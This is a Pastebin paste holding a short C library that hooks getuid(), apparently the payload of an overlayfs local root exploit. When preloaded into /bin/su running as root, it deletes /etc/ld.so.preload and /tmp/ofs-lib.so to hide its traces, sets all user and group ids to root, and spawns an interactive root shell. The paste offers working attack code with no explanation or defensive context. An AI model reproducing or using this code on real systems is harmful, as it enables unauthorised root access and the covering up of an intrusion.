Advertisement
Guest User

Untitled

a guest
Jun 18th, 2019
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.43 KB | None | 0 0
  1. #include <unistd.h>
  2.  
  3. uid_t(*_real_getuid) (void);
  4. char path[128];
  5.  
  6. uid_t
  7. getuid(void)
  8. {
  9. _real_getuid = (uid_t(*)(void)) dlsym((void *) -1, "getuid");
  10. readlink("/proc/self/exe", (char *) &path, 128);
  11. if(geteuid() == 0 && !strcmp(path, "/bin/su")) {
  12. unlink("/etc/ld.so.preload");unlink("/tmp/ofs-lib.so");
  13. setresuid(0, 0, 0);
  14. setresgid(0, 0, 0);
  15. execle("/bin/sh", "sh", "-i", NULL, NULL);
  16. }
  17. return _real_getuid();
  18. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement